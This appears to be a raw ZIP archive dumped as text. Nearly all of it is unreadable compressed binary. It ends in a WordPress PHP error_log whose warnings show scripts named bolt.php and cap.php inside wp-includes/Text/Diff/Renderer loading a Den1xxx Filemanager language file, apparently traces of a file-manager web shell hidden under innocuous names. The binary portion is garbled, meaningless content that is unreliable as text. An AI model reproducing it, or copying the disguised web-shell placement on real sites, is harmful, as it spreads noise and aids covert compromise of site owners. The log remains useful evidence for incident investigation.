{?G'7Q/ԉ1Ē)#&#aO$Q\h8
ݲ."A0'ЌE%;xl3s?@FJk_4~MDKY%`˕w_=5N~]=en׍CǥL%Y|M1h؇e.BKහsSSd5ħ%A%@ӧeܠGOne&x㻼|w<ȢN(NbP􉇴sI#n1g)D3J'HXt,
hydfSW~,GMKeV0O).Ճi=Hµ͊6Aܻ=횀<} Ƴ}V GQS4ړp5h>;Q<^#s@ād:URT˳qyd+"XzE	VhYOǠ I%LSad.NSLdtZ.QLi+JH4;=_dFFĸجDaҋ'Cʎ_+I@XDP 2O@GEq|/&'ҵZ}Ka^C\PJ3 l
R`pq1h((XAd@X,%Z>@cG|G\Q<{= Jd1j;l*Uq$Mf(!F44m3~KzmvB]Jz;|
pס4* _ ױ<]#b=S	#4\5T9`Asg|4S`5U..,= q@l?Иq+ %!h `]!ad%i,R!\{zr_NFr0D ?G9a"#+"Oh,ji+dUiFC"(Ӏ2,ۛBC侂@YI6%4yp+,ؘk(D?(03Ab87`q7¨|q=Jo\A lGUK#D r|/̙Gxq)Y	-ә,=aD'6yh@HFϦ:U܊78&d Z[·K|>H菘d$FCQ'!xj;퐒~98v"~aȝ3 , T(
9PT*f!1 G !JY`00X#s@Ph+vX~[ޚUQbnK:塘Ts$<Peӣλ}Iҭcjus`5s2SKV[eu+ZEk|1ք^Қzyk|WԚ|5Z5 6TQj@ӵ
Q(ѣZ]Q4N_@ӱ~Jܻ|pUBaaj1,@1(Vmj }HZ@@Áz!vrtО9dVKo!'JG왣1j+G Zk"qHէ9PkV|]=l%ДJmF 9t<f? o6`6. q+pU0pOpP(&nDٱ,9丘1͈˴`6J+Abaշ%ˀKK&.AX HlW Zin]jrDX1	5q)j93HV	# nq`3Y]p8QK]L8E=#πg`D<^QW:nd	jhϊjSZ/DT	
O5
dJV[[~aM8~9Wd"p4TZ14
4uI	ĄR?zUxaFr,~_ d07i2X0RDɤ\<7o+ywvp{	#~1*#dx<ZM/sawo=	\DKh-:X9" ?~g	8ZhM&0nI(W.~;BVf0c,L6nTV^o)Ɩ'5fG=45Lk7B²sa;Fc~3٭в<@@g+-<.#<p_h6 mÕg$;v|-	70C32ka"7UQ@_6CA'	f2A'g*l QPଁw-0M NRF,Y	5TRV Bv}eݖ¬b.m5jhZD(`L зks~b:=26jj0De_%AfAiI	F)#__+D+@u9DoJ@I]7 xL*w1IKP+FBO?VAuI:.AN>݃g\;w9'YxV
F]_I{(i{G+vpÀ)Du xWx Ю[PӍg~Gb.{BK@($	hWP$<%PKB`wCZOOnWYaP<XT0薬\LkjAĥԃd)J3E'|çσ'?^TEE$ßvEs Y(;xe"HCޑx~GB pY5$$~0_ՃZ0q9.WxBQH	e'FQJ dXq&J`T	iXPRR50;NZ#X< i1~Vf*zD&Nl˦qN۲wﳙ59܃"HoxMSmP4}!-^i$8=ɏЕpo'Ɲ:wrW1ՙifedYM[rH!f:\'1Cm`heFNZ$aի`BF!kHn֣i!XÿSGv 	t06'8dV8h.(}gSY6\%LjE<.^Ts56\jZޢϻ48WGI3pARޙ4|3BY=puj	rEu$8R`+X0{'KU+Ez.cbZ  Q=f3!@-y![Q*ĺ)Ƞm~-3ĀʯnOhTMlDkN q
_fZ
*nQ#șgt5k,2hɠM'F^LV$9"/-`߸ޫjaapcWd;Vl|hK$!bbQuBsa"j.lM횅.D7Yd[nfjYD.乫9d?ӇU3W`8]_~ֵ$abjT$;]Zr]O&AnSp9 EtLzIvڵb0S%[m'?zoXoLV@1ߥ:&I~ꔆ9%Mɠ[}ލ7@fX.c^^,&[ӭ6#gqǈp>ͱEJ<K@12-.uV7LBRԇ-KMu@FeXl$\/%t\>pnENrÀ.]4@u-]JXRhA3ZVHu7rD Lq	]bR{'Ù:s>;fgN`n@u:z|Y9;חRT]g6G%+d}D$hDJ$ؙ+$/e}WH@q0>\q;Eh\ iih`jd/zs%[ 1ܮn9t/{&7OGs;8d2݂+A~Suc@$X
v9}2Kb mXҞrr	` tN5̈́%J{0}[ W|M?PĠ4-ӀojUKd
t*SaNoXoxLtx $	]CmC/.Xr2S/%}K@%<Cap	ķ	H,܁C+h5-6Ĩl"XO[vIM[B9%4[\;ܵl7Ukn}THj3v)_t
FRy:dYn{H|6\3GNHm.Gn;F"My
U2I1Rld4UjjLƸ>^#Rϧ iۈTO%d|s~۝ź5eCLajK"
(!?#){JK\p3!Ջ2S6Нz2fex4wH2:W| ;YzHI٥?X>Ť^Yq*|ϟT4Ut$I{+_xK
RφIFi̸h.4r,ote/9?NFR.HT1D3CCU
3]Hw9K1g_V,TJ7[ʢO+6'ba5%c)=2eN8,rjRA.;JA#ɀ\;Fc>-mAz,Uv.jMa
gKRu.j/BN2?TXt -tXxT͕l22[GehM_I=2o^> clЙҖ*;2Yxؘ@.|EM'us,lvt%(<\gٝn`@6@JX'>8d*?l*l6;5Vu,?-NYf|?S|T+"n1 Z56}C3_vz9dclZ*0=M.fHe~l.Wrf:Ԝj~nL.;R쓂w>a u6&I
QivRn{Ízi$Btɴ63 cΊtH`x&Br͔O3^^3drZwxN1XJK yO?,vgZ:}Fi/5k5?!=+\sh6K}Np!eچai5bc	Du	ZHɕ(Vvr6.%HuwVK=:qYޥWJ:}ך#4;
4jU)WkL6To5GܝƠJNQvlk'|FvcåPk1V`GWU}~Tx1!wckͬ6J[κ ޿VXy{۲M¼
Mt0;ov7 ƥuC;Aa^:{zQњ!qMݲ !,[PP 4ˡ{ViQDV}-`*|+o3#,!ouu~+ (g] u{<O@04ȭpwI:%ԍ9	;x2Â2|O"C4ZP.}8etw~d*Ty30C&UT8 ]ybMPuGBK	mi 'zjY0RT6A)ZtuZ< i淠pu\QtL^1tFP߃}~#	~#? A:qaA O0y+  ߬3f2xN?QB1f0mN}~.0iMm^W\Zϩjf٧b ?h6=ΩTu	$a`P%OKVO*H۠ҠV5鞰`ƹnDR}ȲCղm7=/W͏"6pZ@% d2C/Dj61>=ͩjvPׯyMvo3df6Abh荰1
FJa]XLTA(1EF:ٯg/9W\n2 ۄ`ޢ6{ٽIgF3E#Z@kM2[Zg#V*|͘3jXL&ilڠwЋY~xiviVs~QևaawGwǲo_7;ێւz%8qysO!n. )ȿ$/	"X87^biX58eMzڑ,}ʩftW]UP=Eksqf;n.ZPD
VJؙ*3}m	isOImLGù6e19C̵QeyȩI2bY\05
֌vx	SW-c>gn-HU8󙡪%F5~{-5ܸ~Ya1ϊraDqc>S*h=cHhTEg\PC+'G&X+lt,֨
kD;]WVa´3SjNqG=j2w;eRSc'=ͅ-:z2;Vv0m.QS@ 8?s|:Rs*p	Kp0jlK9CMi$1Rg[q8nD|.HwZ7wmiTOǎh!18i~exw}c.7=x>\~V
 7ZhL̆@ȷaӟmA(P6%.?u]C|Ti9!&G$73eh٣Ʃn}V֘=%g*6俩nӤp	2ˌ%vw6	jaΫ$7,fdAwMpb,ԅE|GlB.3{,<sqZ}AU>$b>~9u,/7yU3u%S6Nh	SrͲy9	Bzap!.Np|4T׏/?`S1^I=|T$DZ
"u,VbΦmH6	zxG mYеnRpAD&z&U'hp\DRG
-<-'\Sv|SH<В+fWSrDK-Wd5-a
aRNx!2 (5ql0W+|U}_ehY90
2 Z<KMkrxO	,)OokٴVdOPN >n]c= Jw~/ݙ*2%BLнnY F,k&4	OƄߌ&Ll'9>c̄s RX7!Ft'16FvLKr%xhL`\9q4(~qy9k5CV(hVpPh=لXU۬溊V7KAnooBX54˵:X>t24nG8M]ϔZ\K'ZFd8*?{17.%׾gggF<e0̶;j@!c䅏2;fKg\o$iq}ı'PUם;Ma=>.q6*a
VhvxYUnoFԽʕuzɽ>4Gv)%䐭24y_ls Z*(A{dC	P+O.	^Oz2[~IsUr,A30[Yh$7[%/7 y~C	dŋQ1(x@
j	>=->mXhj
Is"xxgQ?Aytҍ	0lQ&p\sgS\.VKa__}/,5r6~>#9:7M2J#j@~i@E,.>琅~"h<C.gX!F<u]kc[H-U?sl6Ofga-D֩ rAx:Z$L_.-aI[@ 22};aEI~;Ό⪵4 \iAY|`!U;¿=EV3ab,OdcEdYGjr>ZYo@yߏ|Obd|)\O5|7
VQ09mub!QL߭\}M3
I.+o:N{LdgE%LκvfcMjs!]uR(ɢHjHJb4WTŽ*)ubᰝ$}6de)2Y&Pl鱐LfaV%ϼV,JfL1J9$M-nqr&)ߢ=+N2%i2=l'K t>Sd.)'I~4}Fjĥ$nDFC+rtL5X#Nd&r:dj٤O&;dj(YlA|b-EkБSZps]O˳pX,]#0h<Ζ|&i,n暅锬ǙJ&JZU2\L<dJ{1<Q&r[N{y!M	)\)ʔ0X7ʝP.YzX=ۛ-0ꬴ>U2	[LvIbd}c1rT}>J_Y<YIrKlW
B'϶ƃpv))XSjη/BrLn+ࡓ7WejF@k?n
dh3N&(V蔒4fBxHLH.q#/2.IdiҩJv*>$SC*ERir7
cnR,%jnl0JҀ6lVRMHɐzܿ͐Y1*t'A@r|:/Pq+@tM5ŅҬvsbaR̿+l0~7+v)w3
5f^nBcb=q>fX6b6(TvR5-RzXYVLl%16ZN?n84éVnVeVi:-,-<V,WH?KuV=B;nnz/+]*fb;ctH.Uʏy2*zz(Z)a0Se q_/x	gꋼ1qR=&T;Zf<u|Ɛ[fS]Fu t@)@̕6#dMrWc+~;:32+\3\⩾Oڬ^I}v[z]hƗRQ>9w\0_ڥ;c[=efܦ۝ev[ZT76rZz*wc~[\5..݊>_7땿WF Ez#\CrϬr%`TRp*{Ru~Q,T]$*zMeÍCT3ΦcPx>|)ϗJL?W./vN\>Ǳb$7׾iSJb 9Gpj~.Cd-58Rj7ۢ_d#k*	#9KGbpe0({gxw^0"LnEJ*4kwwÖ.&X7鏫F;z~hj*t6&ĻygP|VYhL%6FWV{\A+XrUj_|;/L@br$ـ>JJZq";e=;vWdq~Qȸr/"F3;YZ֣P)YQe 0XOz#ͰW@l
dYKto}.uXz0?V =82@>gr	Twk#s&<lQylj-N7LD׻>6=zJ@DHWQa2c[_2vԋod:VX>oj}|^"lH7гn{[`p^fz]R܎U7<}UHdP$}4?MwRmqɧzr[XŊ#o~G	0Լ7<TJ?%r¾oB0*D|Iz^`f]&_lnJ~?iC׎4J+XXKՖ]u*y+R!W]e9ۆZ.F&cIZٴͅ4Um7jGʳT[V{loz*bjiOƏ|%U9_d,\-v݊>cbk׸rբd:zyX3*P:^ZajXzW|x9#;n6*{wHY1y@p6#^(HK(0K!%{YiTÇOrV*BR`5{ݫQq1/nR)Ja/Ɣ:PZFe"/N^(FNlnZ&f
8Ly)yseIG;O`aCf/zǖoMmJ]ʏ3OxYQkK3P5@}:ޓkA|ÓjD!kkdƆ ukѭ7;^eZ|M}V^$Ǎ,wnuZCHSڨ_wz+I
m$3تwy| F|nթ;!mEd2~c&)ZEZޘ.VD5Wr{GNc[kƥI&s\v=E`?47'l4gF8Z0 G^o$[h|>Iljz)DKFg:k&Uݎ1QPȍ(0bFHSa(/ñ=қI52"'8ٟd I )@GׁX;ĳAs`ҭ7`u	mqgzL6I`SHSoͳ`9F,8X'#,))Jn7L6n$>0pɈn	F,J7n6?ӻFmo3V,20KnWDe{AƲ@+2-u]~dLcI2(8; R)>dNn䓥\1tvhhfrx](m4cLr2R¦;^֛ƒP<J!+VqmtR|99oaI Oev ]ۜĢZ|G^LN)8,M癘֪ioi[3'f/ūYX́M;)Y,Ur;xҚen]?R}^ɛm;Pfd`2ʪȅlfo3a44&Xj,5N\#97ج$SCo?[	|8՞֭Xe\yݶFrO:w||
Rjo4ZFS.PwɖޱrIl$rjCzm34ff|Pmjj@џb9ɏd}#J!<xs^!N5KR5j.=;zB/xӥQ^*}FURdҰHoY1$|d|xBŢu^ U,W{X6\9(Wnv:rEKi,Kaa9--------------䧳~6Tb*=HyJ`+/¬`3N徝"&J9R},(7ەB/ȭ7iD=Xaͽ$CF%XCF)1DlkM!C삹X+޿*fPtþ)uqPNVЌz]P#6ߓi.E{"\kEJJf;x'>!nzժ` 23L+_֪zr632(k}o(QζΒd&^әBfKt=$'Q@P招@aJB}(Vp5S8qT+X4,/bn2ὙM 엽2C6?vZnv0TR)/n'ta	Jq>FvdJq8,'FhlPhBڄ̚Ng-NFӛ2_<b|f}s+M.ٴ+Jé06UtK;|r%a/W(rd̮r>ZaS6w	"aG^ZM~tw2Ax]=z'#5`"_\RFz`<8+#с]<F5 T X!G =(PNV$WBs*[EW#Qe1=w[bms7/fA+Eƫ0ނn}o]-P@OHo5(܋ELFl=
I0U'UdyeiFb9&ߏ&&(ƫ*ǻ0wG#0][IQIfPl͒uR0uE UtWlqX+Iҡ*R;^oBJXzno1ܔšW
quꋥǇ(E6},w}Gb$rYtE{IJ00R1|G,EK0ih姫0^yc+:*⬔lNS]I喟_{lsnͲTXW$n-H)n_(: w<S*J}Yi8*!sf
(0с~H8;lG`%4>r^3<s\c3rciXإVQ"%y]qWȆL)S3jkNC=+ XvAlJ 
hE97[ʒfrK{0Lq~8\*鋯8>R֠4 +	Ձ4sUkiT)Ur5.њw:aޟb<\o3T`<YyzTaXlbnXoljTkyQ:ҁ˃bc``7<!luf)	M~dh"0<
^R;2}V;2`##N/Ԁb0&@ɷ3r?TyBNoyyS[}' 71 FS[I"~z^|`05q1H)ـk}r>' y߇lWW
eaı\i͉
<QCwM2ero}x	
Q)-_2OԫNN,x-Eh|hvGc[ M;aFzAx.Pn%HDQުg͡ڌ8ƱM8SeTè%NaUD!Lاv}/e
(bǲ"u*(x(P*Ԃ1. ˓k!V-:/	aCP:+*^^F`h@p@l0
˳f3<j$zMq	||e;lr+@ c	5x2R!$-/O1iDD'#φɃ(ra^v9{._,`8ci%9M*|шgG_kl@G_-2>;Pj/D yir>W=q>Kw
&=V6	%$dO91ʋLaDzR]>Bٚ%v$-h_2 Q̜z ({:%`slAbarb9
b{ףe9 gzҨqh6$ⷽ2LmuudȮ\Pѓuaˢn rP\+Zةv|~g+b.	qSDvV\[>UiYkWS!u]
K\O2l<H	W>X"߱Sࡇ(|΄WFn"ךMi %ȭ^7z.>ɥ|s7mdw&<eJ75֟c)PD$vr\ac(ӫ>u2H_ũ}a?́Լ'I%3N;-pJ@O.vP]ٵ;!^Y4:;mnbĄ"/jK.ƾLyH9j}kt#D2U8Lkd}Ԛ\t+*$(i>fIuKHT'<~B4YHۧ:c'>?ت|Y.@j#@F4!R@ʘ8m
,hAPSJ	}Ӏ8*A!~}difs"t \c	rih'񡁼Vo0?C(Hߛ00
WGG&sn'!F61G㈯Q+6ۭSB`jY|?-śYwNN~?vfa0M@tS(F91e,;YhZ4TFi;b5b+2j8ou(.-Kd#.(=q"T4^*Pc(1焝B Vя ȩ.9e`ԛ 3a U.c@JѮ3kw,S%Fa&(N!@Xofn	ΏjZխSHU9^px`c6I|zI~og@>NX$BkSwf'.ٱ 9sX&'19;eLYN(s;E:\UW=x)njhu;9\6#};UZ}hEQZgXg"j[xT!pI-+7 U\R.5x0Bz΢JI	^e~w@<L-1U{^DA6\BCZ	`wYq}
O(,aǜD2qR-3r|{:WM"+f.k\9Ɖa9:3p>iqƞ&[ɮ
,É	"u.YINBw*r&xOZr{i/z`e	IN԰̓DѤ32w`W6q%	p^H2c&\EL* ıK(Ռ'1\q#(,3lc<:2J<C|]f	DAMQk(0׍:$lK-WB6V
&h2xlKOz*oז Iǰ4"U5Vڅ:Z/2Wx4=YmLL@y٠@%,HԢ`ȔhiZĉ' 
t^_Sq  |\P~rl,`x8&Iꎗk{\$!QUkYN<Ko4?K`ܨccP3}r#ǒCن"	u'j'({0S)|NTY
Y
>#UV b
x{ysymRDP<ɉ.൤+Ep@hJ,F7rq:dQ%ɏ7I!XnnV	y'k^dS65Z%3U	'LNzogS^0C|Dz?p}D&S՝KV+v#B1?t@tQ5ƢbR2^fTxY^עaT%~ter1ڶ,n[nAw?vKюQn\uiqiVeжe>@7]Yhpa;^N.ܙ8aDvWW^ށ¾LTVK2O02c8|	|[	zՖPP2qL{PX6]`KAc"1Za%bMSM8r9,Z!G4+xrSV*֪] ɼs`OM<Z.GTl`3=c8 Qs簦e4l@F `-	E۴	R:mŸK Z8:!尠7^EÔEvy-0o-*OCqAn1A}犄Zm oֲc17p0^+
f]ZSVOZ:၀>*']->|8]!"SlfZs 'I\W/2! &S?9l3٦i|w"=<Vh`4؛SC4xUnwݞi~yKTBRhB+60)x]:lPH
jX3g? -5qOHԄAw #Jw-Z=}gGD[SEf,6w(&AXX.Ls=Q+h:e0:AN`2F?)rhvFMsI_c-q.?F	1j2yq5qB>7?:v^OJ*H/!T@KsF5dQ|)6pG]%!Z2Ɲ^jug*Hp*?YZ|Z57g	PWkyU9d=ja0r@uUK%a)n.*yV #%:n8ZUc=/.ѪZ-B2+G5[j}VHC	B0`p؈^7P$ l3B3Z/s9m3$ry	Mo}^KͳJdoYDB,`$T `Xْz0>p8sM#,9g@̃Kg(N2MPzCgVXKBºGz~,1Q&:jR˚H[:vJ0g'2QP'ℝzZ~BJQмU'WTjTi"h'a~"H ){fk.6Ds}ϻU>NuPy@_Ig+vD;Z[w7ߙx	9tsbmasӖE8OfV 8zvj5;-f7YԍX/q?:e:a25P,NfW`͊O8c,DpyLD@],rI&;BI'%p;BwGhwG|p=.5F S1 811/n6ĎP1dhJ~;h<6zM<GQpLmV:Á
ӤFM1>?L*3s]EdX90XF	#$!xc2xqGG6ƅac
lu(!5^`8NF,с4t΄DQ4UNZgU@PBMQ32Pe:z*8dy-qt-z*03VfB-/lEje<i>({E
YE3ECǅK U&m:Imi,Ҙ⍳t87`nJ=S"w~'֝_;ݠ*p)ihisGlqFD)FmmH`B&*F<-qׄE-ӏ7ژBɗ[@1q4쟥~,<kXUb6x𘘚-z촠Q% #SB-;4j.AFy͉L5ᶶwC1OKj?bP@Bhiq'2\=m+JD"^<#::5]}TQ0G@qT.Ocp"b&0s|piz"CaK24al2ܦp 5zĩ)@* 2^ˉq5FY	tݩ-z\Gbthr=A0ohP:А =r%.F`]԰%0X (N2*G-sA F84++HwD(滆&> p܈ĞeA/	^Nd	Bi'cw"#+"k\Ck:{4A׎p[{WhNY\^
bl$o]$HM.,9߳c X	ȵ?bهl{K_+"eJpJUz?'nnZEikxA/pfVVPQ']u1B9v9'	T5&%xw*aipbrDsS$pZh
Ɔq;HӖØ&]{7xv؛B5
{UwR,cjE	*D}oPIﳧ[l%6]-{+]^=wL6ڹlɚtLĂ%ӼPxi
XTyŤ}	TZ`nE*cW S]^x%bGOȣZG.Wo@u&J%<+ϔMS->k[Bh7@z IE{C5`;N*ׁs--|@jdpR:Xd,~{`x-:w:@! onǦ
zt 3Y`>>f#U ڡ+ݬ l/fŁdNj}Q<|IТ$/]iA9Kf,,
	B=H8ÓKscݨ|GV,Y)C.8~
V+I^@e7 "Æ@'1!IjQ@a77e\qefiCԏR*ϒ50j-ph2l`֣@hԈQυ
市;wBM@N5*Dm-qׄGxFhr6$pYVPYNW{qDM!\5=`? we!	@ͦh
m<SO]HLm5,abb`HB,Oiu( b1zgvnSiS5(@:l%9lhZLB~r!{xR{O$Se!rU8eDFڽIʛY:LgL!j@gڈ1si|k!y狞fSڔAӪyVU*r3UuWchNZ)>Q'+}5y1s&h7teI`Ctya<s1.4YncFm Ϳ0I8e	,2>zOUjG$&5-M)TQ^`f~Aoy81;F&ߢvq,r.WKF)֞!6jiJMLP2O?ω0b~)W-}A]+=$I	`abIvwaj砌;l4صq %<@'kHA<CR23a<'>K520VL`j-1_M:QY^J *6PQFs7G7S}cOJ>-i~n5ձ23ǂ7@gő/-R>|: :iޯ%)[M;ZXB{	-R7͑xwW+h MaKO(I)f$x@բ݆;V=$uuGW,ZlSqi`r>lF"AVkMp)tX=  ,7fޠ a\8|a 堼h/o(xDD/{|Y[G%}-I[뤣jz8ta^x=8G?`R=FsJp:&ud	?Qj7 ݥH)TuPteh,|&6GzɁG1q<<gΔˀAhͥ"88*M3K3^]	AND8v"MffB#PQ:wnN:"PUTK'bʆ[$=9kDܥj<aupb	® ٵG7x  i,v5޷~%mpAcL -q+Cwn(;N{p 8OTr6L,S =g֝7lz[(Ӟj6(f9	ڠ։ٍF^ښAux~g =m]m`@0M}Gƿ%ԓmǓ~T"ۆO*g'ˢ>;"/.̺Gi..г_gPt{YY0[0DuX{ĥ_)<*vU^2__LPK,&i#p#%Q<T7Fk\Cuh훸Rs:exVlOxxV!S4ebP^5A3OVfT2MV5y bbg[ZDv鱮Zqjj:֭5/g=`O}V3eX+ӘAM&ޞz?8'aXU6np
K 3[BYRtY8q`}\{d?$ݛDZ%ǞK#Go@'AA@B5<[|E}>$[
4Hi*

=/ I |T [$YRSvLRᐤLhf您> "Cch"ƨ3vȀyL pk/bB,@IpĶ0#qСC&hʺvw[JXIM qC7f1kAgt!T9z.{q)od)q
b}lAV%t:^ I@ү.CerD 3fn	n'{8'x5[x{"GBCx`"pz`\CY@lބV"~=A;J}++Sа=?$	"MqcaFNn/]X ȹ9'̤M1:%3q+|<RT:hOg<ϖx3D>

ى=dE`/ʌdE	L=lԣn&8klB#f6@	c(Zf`8Qw +
FKաe	agUx3krwPup}~K[t|ӎ<vԟVf'2Xc2tr^?XvM>)m{}a#.-.
}|Y0ʇjOXE,Ht*t:e΋΁Ԅ]$._(J˄s1]_<W~.Q|b<v2qo_`qplj+	x}=Lg$:a@0{2X] ub`b3MS1{MۍkTgs1=P86!P&g?ޒub{9F|h!	kI;oMNf;1}w'aէw:}׍/A`gu2ftթT+yƴ3YkoZT+L]?9fʩ'*8]
S3S_oWǩOf6o!{脠5Nq|2)/?_~| @ PK     |\FI  I  	  error_lognu [        [25-Jun-2026 02:42:09 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:09 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:09 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:42:16 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:42:16 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 02:43:20 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 02:43:20 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:53 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 17:18:54 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1250
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 17:18:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 1440
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:08 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:24 UTC] PHP Warning:  file_get_contents(https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/ru.json): Failed to open stream: HTTP request failed! HTTP/1.1 404 Not Found
 in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/bolt.php on line 88
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 606
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 887
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 888
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 889
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 890
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 891
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Undefined variable $auth in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  Trying to access array offset on value of type null in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 892
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
[25-Jun-2026 18:38:54 UTC] PHP Warning:  foreach() argument must be of type array|object, null given in /home/laratrends/public_html/wp-includes/Text/Diff/Renderer/cap.php on line 558
